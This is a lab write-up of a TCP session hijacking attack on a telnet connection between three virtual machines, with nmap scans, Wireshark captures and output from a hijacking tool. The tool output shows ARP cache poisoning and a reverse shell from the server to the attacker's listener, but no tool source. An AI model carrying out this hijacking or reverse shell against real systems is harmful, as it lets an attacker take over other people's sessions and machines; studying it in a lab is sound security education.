

TCP Session Hijacking

Initial Setup:

```
Terminal
attackerPC@VM:~$ ifconfig
enp0s3      Link encap:Ethernet  HWaddr 08:00:27:4d:f7:3c
            inet addr:192.168.0.107  Bcast:192.168.0.255  Mask:255.255.255.0
            inet6 addr: fe80::e48b:34a4:b2f3:812b/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:1033264 errors:0 dropped:0 overruns:0 frame:0
            TX packets:257799 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:632497491 (632.4 MB)  TX bytes:30331969 (30.3 MB)
```

```
Terminal
serverPC@VM:~$ ifconfig
enp0s3      Link encap:Ethernet  HWaddr 08:00:27:17:e8:ee
            inet addr:192.168.0.110  Bcast:192.168.0.255  Mask:255.255.255.0
            inet6 addr: fe80::cf9e:d601:1d8f:5dfc/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:301340 errors:0 dropped:1 overruns:0 frame:0
            TX packets:103555 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:306653776 (306.6 MB)  TX bytes:12326632 (12.3 MB)
```

```
Terminal
clientPC@VM:~$ ifconfig
enp0s3      Link encap:Ethernet  HWaddr 08:00:27:88:a5:da
            inet addr:192.168.0.108  Bcast:192.168.0.255  Mask:255.255.255.0
            inet6 addr: fe80::c9e3:bc5e:1c0d:5631/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:178814 errors:0 dropped:0 overruns:0 frame:0
            TX packets:1995 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:115975739 (115.9 MB)  TX bytes:242614 (242.6 KB)
```

Client initiates session with the server:

```
clientPC@VM:~$ telnet 192.168.0.110
Trying 192.168.0.110...
Connected to 192.168.0.110.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sat Sep  7 04:07:47 EDT 2019 from 192.168.0.102 on pts/19
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

serverPC@VM:~$
```

Steps of the attack:

- Attacker looks for a ongoing telnet session in the subnet using **nmap** or **wireshark**.

telnet

No.	Time	Source	Destination	Protocol	Length	Info
1745...	2019-09-07 04:20:17.6365692...	192.168.0.110	192.168.0.108	TELNET	67	Telnet Data ...
1745...	2019-09-07 04:20:17.8602981...	192.168.0.108	192.168.0.110	TELNET	68	Telnet Data ...
1745...	2019-09-07 04:20:17.8609865...	192.168.0.110	192.168.0.108	TELNET	78	Telnet Data ...
1745...	2019-09-07 04:20:18.3178823...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
1746...	2019-09-07 04:20:18.6877973...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
1746...	2019-09-07 04:20:18.8861117...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
1746...	2019-09-07 04:20:19.0948798...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
1746...	2019-09-07 04:20:19.2605709...	192.168.0.108	192.168.0.110	TELNET	68	Telnet Data ...
1746...	2019-09-07 04:20:19.2622275...	192.168.0.110	192.168.0.108	TELNET	68	Telnet Data ...
1746...	2019-09-07 04:20:19.2782733...	192.168.0.110	192.168.0.108	TELNET	135	Telnet Data ...
1746...	2019-09-07 04:20:19.2787322...	192.168.0.110	192.168.0.108	TELNET	68	Telnet Data ...
1746...	2019-09-07 04:20:19.3488201...	192.168.0.110	192.168.0.108	TELNET	129	Telnet Data ...
1746...	2019-09-07 04:20:19.3492406...	192.168.0.110	192.168.0.108	TELNET	279	Telnet Data ...
1746...	2019-09-07 04:20:19.4473017...	192.168.0.110	192.168.0.108	TELNET	94	Telnet Data ...

► Frame 174613: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interface 0
► Ethernet II, Src: PcsCompu 88:a5:da (08:00:27:88:a5:da), Dst: PcsCompu 17:e8:ee (08:00:27:17:e8:ee)
► Internet Protocol Version 4, Src: 192.168.0.108, Dst: 192.168.0.110
► Transmission Control Protocol, Src Port: 45264, Dst Port: 23, Seq: 4148519198, Ack: 2960255881, Len: 2
► Telnet

```
attackerPC@VM:~$
```

Fig: Looking for telnet session using wireshark

```
attackerPC@VM:~$ nmap -p 23 192.168.0.1/24

Starting Nmap 7.01 ( https://nmap.org ) at 2019-09-07 04:43 EDT
Nmap scan report for 192.168.0.1
Host is up (0.0080s latency).
PORT      STATE SERVICE
23/tcp    closed telnet

Nmap scan report for 192.168.0.103
Host is up (0.0086s latency).
PORT      STATE SERVICE
23/tcp    closed telnet

Nmap scan report for 192.168.0.107
Host is up (0.00015s latency).
PORT      STATE SERVICE
23/tcp    open  telnet

Nmap scan report for 192.168.0.108
Host is up (0.00052s latency).
PORT      STATE SERVICE
23/tcp    open  telnet

Nmap scan report for 192.168.0.110
Host is up (0.0051s latency).
PORT      STATE SERVICE
23/tcp    open  telnet
```

Fig: Looking for telnet enabled ports using nmap

- Attacker notes down the client and server IP addresses of the found session from wireshark, where the server machine is identified as the one having port no. 23.
- Attacker runs the hijacking tool with the client and server IP addresses as parameters.

tcp.port == 45264							
Io.	Time	Source	Destination	Protocol	Length	Info	
2117...	2019-09-07 05:00:04.5989339...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK] Seq=4148519204 Ack=296025	
2117...	2019-09-07 05:00:04.6005190...	192.168.0.110	192.168.0.108	TELNET	185	Telnet Data ...	
2117...	2019-09-07 05:00:04.6007690...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK] Seq=4148519204 Ack=296025	
2117...	2019-09-07 05:00:04.6007726...	192.168.0.110	192.168.0.108	TELNET	539	Telnet Data ...	
2117...	2019-09-07 05:00:04.6008450...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK] Seq=4148519204 Ack=296025	
2117...	2019-09-07 05:00:04.6013594...	192.168.0.110	192.168.0.108	TELNET	94	Telnet Data ...	
2117...	2019-09-07 05:00:04.6015753...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK] Seq=4148519204 Ack=296025	
2123...	2019-09-07 05:03:03.8463020...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...	
2123...	2019-09-07 05:03:03.8463405...	192.168.0.107	192.168.0.108	ICMP	95	Redirect (Redirect for host)	
2123...	2019-09-07 05:03:03.8463542...	192.168.0.108	192.168.0.110	TCP	67	[TCP Keep-Alive] 45264 → 23 [PSH, ACK] Seq=4148519204	
2123...	2019-09-07 05:03:03.8468774...	192.168.0.110	192.168.0.108	TELNET	67	Telnet Data ...	
2123...	2019-09-07 05:03:03.8468859...	192.168.0.107	192.168.0.110	ICMP	95	Redirect (Redirect for host)	
2123...	2019-09-07 05:03:03.8468948...	192.168.0.110	192.168.0.108	TCP	67	[TCP Keep-Alive] 23 → 45264 [PSH, ACK] Seq=4148519204	
2123...	2019-09-07 05:03:03.8470449...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK] Seq=4148519205 Ack=296025	
2123...	2019-09-07 05:03:03.8470498...	192.168.0.108	192.168.0.110	TCP	66	[TCP Keep-Alive ACK] 45264 → 23 [ACK] Seq=4148519205	
2124...	2019-09-07 05:03:04.7593818...	192.168.0.108	192.168.0.110	TCP	1078	[TCP Retransmission] 45264 → 23 [PSH, ACK] Seq=4148519204	
2124...	2019-09-07 05:03:04.7595554...	192.168.0.108	192.168.0.110	TELNET	110	Telnet Data ...	
2124...	2019-09-07 05:03:04.7598209...	192.168.0.110	192.168.0.108	TCP	78	[TCP ACKED unseen segment] 23 → 45264 [ACK] Seq=2960256882	
2124...	2019-09-07 05:03:04.7598327...	192.168.0.107	192.168.0.110	ICMP	106	Redirect (Redirect for host)	
2124...	2019-09-07 05:03:04.7598575...	192.168.0.110	192.168.0.108	TCP	78	[TCP Dup ACK 212407#1] 23 → 45264 [ACK] Seq=2960256883	
2124...	2019-09-07 05:03:04.7598635...	192.168.0.110	192.168.0.108	TCP	66	23 → 45264 [ACK] Seq=2960256883 Ack=4148520284	
2124...	2019-09-07 05:03:04.7598660...	192.168.0.110	192.168.0.108	TCP	66	[TCP Dup ACK 212410#1] 23 → 45264 [ACK] Seq=2960256883	
2124...	2019-09-07 05:03:04.7616168...	192.168.0.110	192.168.0.108	TELNET	68	Telnet Data ...	
2124...	2019-09-07 05:03:04.7616233...	192.168.0.110	192.168.0.108	TCP	68	[TCP Retransmission] 23 → 45264 [PSH, ACK] Seq=2960256883	
2124...	2019-09-07 05:03:04.8233366...	192.168.0.108	192.168.0.110	TELNET	67	[TCP Spurious Retransmission] Telnet Data ...	
2124...	2019-09-07 05:03:04.8233564...	192.168.0.107	192.168.0.108	ICMP	95	Redirect (Redirect for host)	
▶ Frame 212392: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on interface 0							
▶ Ethernet II, Src: PcsCompu_88:a5:da (08:00:27:88:a5:da), Dst: PcsCompu_4d:f7:3c (08:00:27:4d:f7:3c)							
▶ Internet Protocol Version 4, Src: 192.168.0.108, Dst: 192.168.0.110							
▶ Transmission Control Protocol, Src Port: 45264, Dst Port: 23, Seq: 4148519204, Ack: 2960256882, Len: 1							
▶ Telnet							
▶ Data: 1							

Fig: Received packet by server when actual client typed “I”

tcp.port == 45264							
No.	Time	Source	Destination	Protocol	Length	Info	
2117...	2019-09-07 05:00:04.5989339...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK]	Seq=4148519204 Ack=2960256262 Win=30336
2117...	2019-09-07 05:00:04.6005190...	192.168.0.110	192.168.0.108	TELNET	185	Telnet Data ... Information	
2117...	2019-09-07 05:00:04.6007690...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK]	Seq=4148519204 Ack=2960256381 Win=30336
2117...	2019-09-07 05:00:04.6007726...	192.168.0.110	192.168.0.108	TELNET	539	Telnet Data ...	
2117...	2019-09-07 05:00:04.6008450...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK]	Seq=4148519204 Ack=2960256854 Win=31360
2117...	2019-09-07 05:00:04.6013594...	192.168.0.110	192.168.0.108	TELNET	94	Telnet Data ...	
2117...	2019-09-07 05:00:04.6015753...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK]	Seq=4148519204 Ack=2960256882 Win=31360
2123...	2019-09-07 05:03:03.8463020...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...	
2123...	2019-09-07 05:03:03.8463405...	192.168.0.107	192.168.0.108	ICMP	95	Redirect (Redirect for host)	
2123...	2019-09-07 05:03:03.8463542...	192.168.0.108	192.168.0.110	TCP	67	[TCP Keep-Alive] 45264 → 23 [PSH, ACK] Seq=4148519204 Ack=2960256882	
2123...	2019-09-07 05:03:03.8468774...	192.168.0.110	192.168.0.108	TELNET	67	Telnet Data ...	
2123...	2019-09-07 05:03:03.8468859...	192.168.0.107	192.168.0.110	ICMP	95	Redirect (Redirect for host)	
2123...	2019-09-07 05:03:03.8468948...	192.168.0.110	192.168.0.108	TCP	67	[TCP Keep-Alive] 23 → 45264 [PSH, ACK] Seq=2960256882 Ack=4148520284	
2123...	2019-09-07 05:03:03.8470449...	192.168.0.108	192.168.0.110	TCP	66	45264 → 23 [ACK]	Seq=4148519205 Ack=2960256883 Win=31360
2123...	2019-09-07 05:03:03.8470498...	192.168.0.108	192.168.0.110	TCP	66	[TCP Keep-Alive ACK] 45264 → 23 [ACK] Seq=4148519205 Ack=2960256883	
2124...	2019-09-07 05:03:04.7593818...	192.168.0.108	192.168.0.110	TCP	1078	[TCP Retransmission] 45264 → 23 [PSH, ACK] Seq=4148519204	
2124...	2019-09-07 05:03:04.7595554...	192.168.0.108	192.168.0.110	TELNET	110	Telnet Data ...	
2124...	2019-09-07 05:03:04.7598209...	192.168.0.110	192.168.0.108	TCP	78	[TCP ACKed unseen segment] 23 → 45264 [ACK] Seq=2960256882	
2124...	2019-09-07 05:03:04.7598327...	192.168.0.107	192.168.0.110	ICMP	106	Redirect (Redirect for host)	
2124...	2019-09-07 05:03:04.7598575...	192.168.0.110	192.168.0.108	TCP	78	[TCP Dup ACK 212407#1] 23 → 45264 [ACK] Seq=2960256883 Ack=4148520284	
2124...	2019-09-07 05:03:04.7598635...	192.168.0.110	192.168.0.108	TCP	66	23 → 45264 [ACK]	Seq=2960256883 Ack=4148520284 Win=31872
2124...	2019-09-07 05:03:04.7598660...	192.168.0.110	192.168.0.108	TCP	66	[TCP Dup ACK 212410#1] 23 → 45264 [ACK] Seq=2960256883 Ack=4148520284	
2124...	2019-09-07 05:03:04.7616168...	192.168.0.110	192.168.0.108	TELNET	68	Telnet Data ...	
2124...	2019-09-07 05:03:04.7616233...	192.168.0.110	192.168.0.108	TCP	68	[TCP Retransmission] 23 → 45264 [PSH, ACK] Seq=2960256883	
2124...	2019-09-07 05:03:04.8233366...	192.168.0.108	192.168.0.110	TELNET	67	[TCP Spurious Retransmission] Telnet Data ...	
2124...	2019-09-07 05:03:04.8233564...	192.168.0.107	192.168.0.108	ICMP	95	Redirect (Redirect for host)	

▶ Frame 212405: 1078 bytes on wire (8624 bits), 1078 bytes captured (8624 bits) on interface 0

▶ Ethernet II, Src: PcsCompu_4d:f7:3c (08:00:27:4d:f7:3c), Dst: PcsCompu_17:e8:ee (08:00:27:17:e8:ee)

▶ Internet Protocol Version 4, Src: 192.168.0.108, Dst: 192.168.0.110

▶ Transmission Control Protocol, Src Port: 45264, Dst Port: 23, Seq: 4148519204, Ack: 2960256882, Len: 1024

Fig: Received packet by server sent by the attacker.


```
clientPC@VM:~$ telnet 192.168.0.110
Trying 192.168.0.110...
Connected to 192.168.0.110.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sat Sep  7 04:07:47 EDT 2019 from 192.168.0.102 on pts/19
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

serverPC@VM:~$ ls
abhiK      Customization  exploit.py  peda-session-dash.txt  script.sh
android    Desktop        input      peda-session-output.txt source
badfile    Documents      lib        Pictures               Templates
basic_JS.html Downloads      Music      program.c              test.c
bin        examples.desktop output       Public                 Videos
serverPC@VM:~$ l
```

Fig: Client typing “l” in his terminal

```
attackerPC@VM:~$ sudo ./a.out 192.168.0.108 192.168.0.110
Setting up for switched environments...
net.ipv4.ip_forward = 1
Sending arp_cache poisoning packets....
Waiting for traffic in the connection...
Sniffed packet! SEQ = 4148519204 ACK = 2960256882
Client port: 45264, Server port: 23
Hijacking started.
The new terminal gives you access to the targetPC using new connection
Type exit here to close the hijacked connection
>

Terminal
File Edit View Search Terminal Help
Waiting for reverse shell to connect..
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.0.110] port 9090 [tcp/*] accepted (family 2, sport 39714)
serverPC@VM:~$
```

Fig: Response in the attacker machine

- The tool then prints out the sequence and acknowledgement numbers of the grabbed packet and the client and server port numbers in the original terminal window (Top one in the figure). We can check the accuracy of the grabbed numbers using **wireshark**.

telnet						
No.	Time	Source	Destination	Protocol	Length	Info
1746...	2019-09-07 04:20:19.3492406...	192.168.0.110	192.168.0.108	TELNET	279	Telnet Data ...
1746...	2019-09-07 04:20:19.4473017...	192.168.0.110	192.168.0.108	TELNET	94	Telnet Data ...
2117...	2019-09-07 05:00:04.3966959...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
2117...	2019-09-07 05:00:04.3970343...	192.168.0.110	192.168.0.108	TELNET	67	Telnet Data ...
2117...	2019-09-07 05:00:04.4816377...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
2117...	2019-09-07 05:00:04.4819983...	192.168.0.110	192.168.0.108	TELNET	67	Telnet Data ...
2117...	2019-09-07 05:00:04.5973632...	192.168.0.108	192.168.0.110	TELNET	68	Telnet Data ...
2117...	2019-09-07 05:00:04.5987207...	192.168.0.110	192.168.0.108	TELNET	68	Telnet Data ...
2117...	2019-09-07 05:00:04.6005190...	192.168.0.110	192.168.0.108	TELNET	185	Telnet Data ...
2117...	2019-09-07 05:00:04.6007726...	192.168.0.110	192.168.0.108	TELNET	539	Telnet Data ...
2117...	2019-09-07 05:00:04.6013594...	192.168.0.110	192.168.0.108	TELNET	94	Telnet Data ...
2123...	2019-09-07 05:03:03.8463020...	192.168.0.108	192.168.0.110	TELNET	67	Telnet Data ...
2123...	2019-09-07 05:03:03.8468774...	192.168.0.110	192.168.0.108	TELNET	67	Telnet Data ...
2124...	2019-09-07 05:03:04.7595554...	192.168.0.108	192.168.0.110	TELNET	110	Telnet Data ...
Frame 212392: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on interface 0						
Ethernet II, Src: PcsCompu_88:a5:da (08:00:27:88:a5:da), Dst: PcsCompu_4d:f7:3c (08:00:27:4d:f7:3c)						
Internet Protocol Version 4, Src: 192.168.0.108, Dst: 192.168.0.110						
Transmission Control Protocol, Src Port: 45264, Dst Port: 23, Seq: 4148519204, Ack: 2960256882, Len: 1						
Telnet						
Data: 1						

- The tool then creates one new shell terminal on the attacker machine. In the bottom window we clearly see, we have the shell of the server machine which communicates with the server machine using a separate connection, and therefore our hijacking is complete.

```
attackerPC@VM:~$ sudo ./a.out 192.168.0.108 192.168.0.110
Setting up for switched environments...
net.ipv4.ip_forward = 1
Sending arp cache poisoning packets....
Waiting for traffic in the connection...
Sniffed packet! SEQ = 4148519204 ACK = 2960256882
Client port: 45264, Server port: 23
Hijacking started.
The new terminal gives you access to the targetPC using new connection
Type exit here to close the hijacked connection
>

Terminal
File Edit View Search Terminal Help
Waiting for reverse shell to connect..
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.0.110] port 9090 [tcp/*] accepted (family 2, sport 39714)
serverPC@VM:~$ ls
ls
abhiik
android
badfile
basic_JS.html
bin
Customization
Desktop
Documents
Downloads
examples.desktop
exploit.py
input
lib
Music
output
peda-session-dash.txt
peda-session-output.txt
Pictures
program.c
Public
script.sh
source
Templates
test.c
Videos
serverPC@VM:~$
```

- Attacker now has complete access to server machine and can issue any command with the client's privilege.
- Attacker can end the hijacked connection between the server and client by typing exit in the original terminal window.


```

attackerPC@VM:~$ sudo ./a.out 192.168.0.108 192.168.0.110
Setting up for switched environments...
net.ipv4.ip_forward = 1
Sending arp_cache poisoning packets....
Waiting for traffic in the connection...
Sniffed packet! SEQ = 4148519204 ACK = 2960256882
Client port: 45264, Server port: 23
Hijacking started.
The new terminal gives you access to the targetPC using new connection
Type exit here to close the hijacked connection
>

```

Justification of the success of the attack:

- We have the server shell in the attacker machine and we can run any command on the server machine.
- If we try to type in the client terminal now, we see that it is frozen(i.e. it doesn't take any input.)

```

Terminal
clientPC@VM:~$ telnet 192.168.0.110
Trying 192.168.0.110...
Connected to 192.168.0.110.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sat Sep  7 04:07:47 EDT 2019 from 192.168.0.102 on pts/19
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:   https://landscape.canonical.com
 * Support:      https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

serverPC@VM:~$ ls
abhik      Customization  exploit.py  peda-session-dash.txt  script.sh
android    Desktop        input       peda-session-output.txt source
badfile    Documents      lib         Pictures               Templates
basic_JS.html Downloads      Music       program.c              test.c
bin        examples.desktop output       Public                 Videos
serverPC@VM:~$ l

```

Telnet transmits each byte as soon as it's typed. Now, since the attacker tool hijacks the connection by sending spoofed packets, server expects a higher sequence number in its next incoming packet. As the client has no idea about it, server keeps discarding its packet as duplicate, and the client keeps retransmitting. As a result, client gets frozen.

```
2124... 2019-09-07 05:03:05.0313997... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:05.0314330... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:05.2388528... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:05.2388823... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:05.6588216... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:05.6588513... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:06.4905929... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:06.4906456... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:08.1536453... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:08.1536771... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2124... 2019-09-07 05:03:11.6076166... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2125... 2019-09-07 05:03:11.6076478... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2125... 2019-09-07 05:03:18.2604548... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2125... 2019-09-07 05:03:18.2604828... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2125... 2019-09-07 05:03:31.5657803... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2125... 2019-09-07 05:03:31.5657909... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2127... 2019-09-07 05:03:59.1998262... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2127... 2019-09-07 05:03:59.1998553... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2129... 2019-09-07 05:04:52.4220194... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2129... 2019-09-07 05:04:52.4221069... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2173... 2019-09-07 05:06:38.8641275... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2173... 2019-09-07 05:06:38.8641665... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2179... 2019-09-07 05:08:39.6355919... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2179... 2019-09-07 05:08:39.6356406... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2186... 2019-09-07 05:10:40.4073502... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
2186... 2019-09-07 05:10:40.4074008... 192.168.0.108 192.168.0.110 TELNET 67 [TCP Spurious Retransmission] Telnet Data ...
```

We can verify it by observing **wireshark** like above.

Hence, we conclude we have successfully hijacked the connection.